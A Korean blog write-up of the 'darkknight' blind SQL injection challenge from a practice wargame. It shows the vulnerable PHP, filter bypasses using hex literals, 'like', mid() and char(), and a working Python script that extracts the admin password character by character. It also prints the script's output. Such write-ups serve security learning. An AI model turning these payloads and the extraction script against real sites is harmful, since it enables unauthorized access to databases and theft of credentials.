아 뭔가 쓸데없이 오타도 많이내고, 뭔가 자잘한 삽질을 많이 한 문제이다. 잠을 제대로 못자서 그런건지 바보같은 삽질을 했다. darkknight 라는 문제인데, 얘도 Blind SQL Injection 문제이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
---------------------------------------------------------------------------------------------------
query : select id from prob_darkknight where id='guest' and pw='' and no=
---------------------------------------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

이번엔 ascii도 사용을 못하고 '도 사용할 수 없다. 그럼 쿼리문에서 사용하는 id = 'admin'이라는 문자를 사용할 수 없다. 이 문제에 대해서는 금방 답을 찾았다. 바로 hex 값을 이용하는 것이다. id = 'admin' 대신 id = 0x61646d696e를 입력해도 같은 결과를 얻을 수 있다. 그럼 adminpw의 길이를 구하는 쿼리는 아래와 같이 완성된다.

1
?pw=1&no=0 or id like 0x61646d696e and length(pw) like 1

문제는 pw를 한 글자 씩 알아낼 때 이다. '를 사용할 수 없으므로, mid 함수를 통해 pw를 한 글자 씩 뽑는다 하더라도 비교를 할 수가 없다.

처음에는 MySQL에 있는 hex 함수를 사용할까 했다. 여기서 삽질한게, hex10진수를 16진수 값으로 혹은 16진수를 10진수 값으로 바꾸어주는 함수인데, 나는 이걸 알고있었는데도 16진수 값을 입력하면 비교가 되겠지! 하고 생각했다. 추출되는 값은 char 형태의 문자기 때문에 당연히 비교할 수 없다.

그 다음에는 char 함수를 사용하는 것을 생각했다. 여기서 두번째 삽질을 했는데, char 함수의 인자는 10진수 숫자가 들어가야 한다. 근데 코드를 이 전에 풀었던 코드를 가져와 살짝만 수정해서 사용하다보니, 파이썬 코드에서 chr(i)를 쿼리의 char 함수의 인자로 넣어주고 있었다.

문제가 안풀리길래 도대체 왜지... 이러다가 쿼리를 출력 해 보고서야 깨달았다. 쨌든 pw를 구하는 쿼리는 다음과 같은 형태가 된다.

1
?pw=1&no=0 or id like 0x61646d696e and mid(pw, 1, 1) like char(48)

우여곡절 끝에 완성된 코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

flag = ""
length = 0

url = "http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 20):
	try:
		query = url + "1&no=0 or id like 0x61646d696e and length(pw) like " + str(i)
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'Hello admin' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find password"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1&no=0 or id like 0x61646d696e and mid(pw, " + str(j) + ", 1) like char(" + str(i) + ")"
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'Hello admin' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"

드디어 제대로 된 결과를 얻을 수 있었다. 쓸데없는 삽질 후에 얻은 값진 adminpw이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ python ex.py 
[+] Start
[+] Find length of the password
[+] Found length :  8
[+] Find password
[+] Found 1 : 0
[+] Found 2 : 0B
[+] Found 3 : 0B7
[+] Found 4 : 0B70
[+] Found 5 : 0B70E
[+] Found 6 : 0B70EA
[+] Found 7 : 0B70EA1
[+] Found 8 : 0B70EA1F
[+] Found password :  0B70EA1F
[+] End

알파벳 소문자로 바꿔서 아래와 같이 입력하면 문제가 풀린다.

1
?pw=0b70ea1f

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
--------------------------------------------------------------------------------------------------------------
query : select id from prob_darkknight where id='guest' and pw='0b70ea1f' and no=
--------------------------------------------------------------------------------------------------------------

DARKKNIGHT Clear!
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

1
DARKKNIGHT Clear!!